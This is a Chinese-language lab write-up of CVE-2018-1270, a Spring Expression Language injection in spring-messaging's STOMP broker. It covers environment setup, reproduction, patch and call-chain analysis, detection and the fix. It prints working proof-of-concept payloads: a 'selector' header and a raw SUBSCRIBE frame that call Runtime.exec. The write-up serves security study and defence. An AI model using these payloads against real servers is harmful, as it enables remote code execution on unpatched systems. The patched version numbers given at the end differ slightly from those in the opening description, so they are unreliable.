漏洞描述
Spring Framework、5.0.5 之前的 5.0.x 版本和 4.3.16 之前的 4.3.x 版本以及不支持的旧版本允许应用程序通过spring-messaging模块通过简单的内存 STOMP 代理通过 WebSocket 端点公开 STOMP 。恶意用户(或攻击者)可以向代理发送可能导致远程代码执行攻击的消息。
关于SockJS和STOMP
在Spring-messaging中是通过SockJS传输的STOPM内容,这个远程代码执行漏洞也是在对STOPM解析中出现的,本质上是一个Spring表达式注入
SockJS
一些浏览器中缺少对WebSocket的支持,因此,回退选项是必要的,而Spring框架提供了基于SockJS协议的透明的回退选项。也可以理解为一个类似于http协议,更多的是定义在传输层的一个协议
STOPM
STOMP(Simple (or Streaming) Text Orientated Messaging Protocol)一个简单的面向文本/流的消息协议。STOMP提供了能够协作的报文格式,以至于STOMP客户端可以与任何STOMP消息代理(Brokers)进行通信,从而为多语言,多平台和Brokers集群提供简单且普遍的消息协作。
STOMP可用于任何可靠的双向流网络协议之上,如TCP和WebSocket。 虽然STOMP是面向文本的协议,但消息有效负载可以是文本或二进制。
一个STOMP客户端是一个可以以两种模式运行的用户代理,可能是同时运行两种模式。
- 作为生产者,通过SEND框架将消息发送给服务器的某个服务
- 作为消费者,通过SUBSCRIBE制定一个目标服务,通过MESSAGE框架,从服务器接收消息。
COMMAND
header1:value1
header2:value2
Body^@
常用的command
CONNECT STOMP客户端通过初始化一个数据流或者TCP链接发送CONNECT帧到服务端
CONNECTED 如果服务端接收了链接意图,它回回复一个CONNECTED帧
SEND 客户端主动发送消息到服务器
SUBSRIBE 客户端注册给定的目的地,被订阅的目的地收到的任何消息将通过MESSAGE Frame发送给client。 ACK 控制着确认模式。
UNSUBSRIBE UNSUBSCRIBE用来移除一个已经存在订阅,一旦一个订阅被从连接中取消,那么客户端就再也不会收到来自这个订阅的消息
漏洞复现
CVE-2018-1270漏洞成功复现需要发送三个包才能成功
- CONNECT建立一个连接
- SUBSRIBE添加一个订阅,将payload放入服务端缓存存储
- SEND触发payload
环境搭建
可以直接vulhub拉docker搭建也可以用idea拉写好的代码搭建gs-messaging-stomp-websocket
用github搭建的时候需要注意下要把pom.xml中的spring版本改下不然拉的spring-messaging版本超过5.0.4了就修复了
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
如果复现不成功一定看下spring-messaging版本是多少可以在idea里的lib里看看
复现方法
1.修改页面js文件
在发送订阅的时候插入payload,在页面上点connect,然后发两个字符send就触发了
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /tmp/mi1k7ea')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}

2.burp抓包修改
可以在拦截器修改也可以全部放到重放里然后需要注意websocket ID订阅和发送是否一样,确保是在一个session中否则可能失败。
["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')\n\n\u0000"]




STOMP报文格式是和http很像的所以直接修改增加键值对就可以了,主要是selector这个字段,其他字段在这里修改后是没影响的,只是在后台会留下报错的日志,正常情况下是不会留error日志的

3.直接用exp打就可以了
直接看vulhub那个就能用了CVE-2018-1270_exploit.py,用的时候脚本里改下地址和需要执行的命令

漏洞分析
首先看下补丁,主要修改了DefaultSubscriptionRegistry类中的一些描述,引入的包,EvaluationContext初始化方式和read方法的内容的改变,结合漏洞描述看最有可能的就是EvaluationContext初始化方式的变更最可能存在问题。

EvaluationContext从最开始通过StandardEvaluationContext初始化到通过SimpleEvaluationContext初始化,然后熟悉spring表达式注入的话那么能够知道使用SimpleEvaluationContext进行初始化是修复表达式注入常用方法之一,SimpleEvaluationContext会对执行的表达式做一些限制使其只能执行一些基础的操作,不能调用java对象等。所以从补丁分析的起点就是在5.0.4版本的217行,此处是漏洞的触发点。

在向上看了几行后发现expression是从sub的getSelectorExpression方法获取到的,然后context是从213行通过StandardEvaluationContext初始化的,都封装在filterSubscriptions方法中。目前存在两个疑问:
- filterSubscriptions在什么时候会触发,如何才能触发漏洞。
- expression值是如何取到的,是如何传入payload的,是在触发过程中传入的么?
filterSubscriptions如何触发到
从污点追踪来看,首先在本类上面一点185行,通过destintion获取到了allMatches的值命名为result传入到补丁修改的filterSubscriptions,然后在父类AbstractSubscriptionRegistry的filterSubscriptions单参数方法对message进行类型判断和提取destination信息。直到SimpleBrokerMessageHandler类的sendMessageToSubscribers方法都是在对message的信息做提取和判断。


在到到达了SimpleBrokerMessageHandler类的sendMessageToSubscribers方法后再上面一层是在判断message的类型,对STOPM协议的不同的命令做处理,从字面意义看是在send命令会进入并触发漏洞
SimpleBrokerMessageHandler的handleMessageInternal方法是一个处理不同命令的工厂,这样的话就还没有到最外部通过SockJs获取STOPM报文的点,但是目前到了这里暂时已经够了能够知道在什么情况下会触发到漏洞,后面再去确定如何获取到报文的。


现在已经找到了在send命令下会执行expression表达式,但是咋没看到expression表达式从哪里来的呢?
expression值从哪里来
expression值从哪里来关系到payload从哪里来,首先sub是从info中获取到的,然后subId是从allMatches中获取到的,allMatches是在185行的this.destinationCache.getSubscriptions方法获取到的的。就是个套娃,拆套娃肯定是从外面开始拆的.....

获取allMatches
通过getSubscriptions方法获取到的allMatches参数值,进去之后是从this.accessCache中获取到的,然后这个参数是在哪里赋值的呢?

从下图可以看到accessCache值都是在本类中进行赋值的有四个put,进去看看发现就是300行的那个put的调用链中初始化了一个表达式,然后表达式的值也是从message中获取到的,再向上看发现是在SUBSCRIBE命令中进入到此处实现的中间经过了registerSubscription方法的一些判断和处理,之后再次回到了熟悉的handleMessageInternal方法

这里put到cache中的只有cachedDestination和subs,subs只有sessionid和subId并没有放入表达式




看到了这里初步估计表达式的值是在SUBSCRIBE命令的情况下传入的,那又是那个参数导致的呢?
在addSubscriptionInternal方法中有一个getFirstNativeHeader方法将header为selector的键值取出作为表达式存储在sub中了

目前初步的判断已经有了,在SUBSCRIBE命令下selector头值会作为表达式存储,之后在send命令下取出表达式值执行。但是目前还需要确定是根据什么去存储和取出的表达式
获取info
info直接从Session中通过allmatches中的sesionID获取到的,然后info是在addSubscriptionInternal中通过addSubscription方法放入的。


获取sub
获取就是从info中的sessionID获取到的,然后在生成的时候就放入了表达式


关于为什么能通过sessionid和subid获取到对应的表达式,就是和sockjs接收websocket相关了,应该是在这个session会话中这个处理命令的方法是一直在内存中存活的所以才能取到对应的值
如何挖掘
黑盒
在黑盒的时候可以根据包内容进行初步判断,如果内容是明显的STOMP协议格式则可能存在可以用payload尝试下可能就存在对应版本的漏洞
白盒
1.查看spring-messaging版本低于5.0.4是存在问题的
2.查看是否有使用可以通过配置类和配置文件找
修复方案
官方给出的修复方案是升级版本
Spring Framework 5.0到5.0.4升级到5.0.5版本
Spring Framework 4.3到4.3.14升级到4.3.15版本
官方通告里说spring-messaging有问题,而spring-messaging版本跟随Spring Framework版本,所以重点关注spring-messaging的jar包即可
参考链接
WebSocket和Stomp协议
浅析Spring Messaging之CVE-2018-1270
spring-messaging 远程代码执行漏洞分析
spring源码分析之spring-messaging模块详解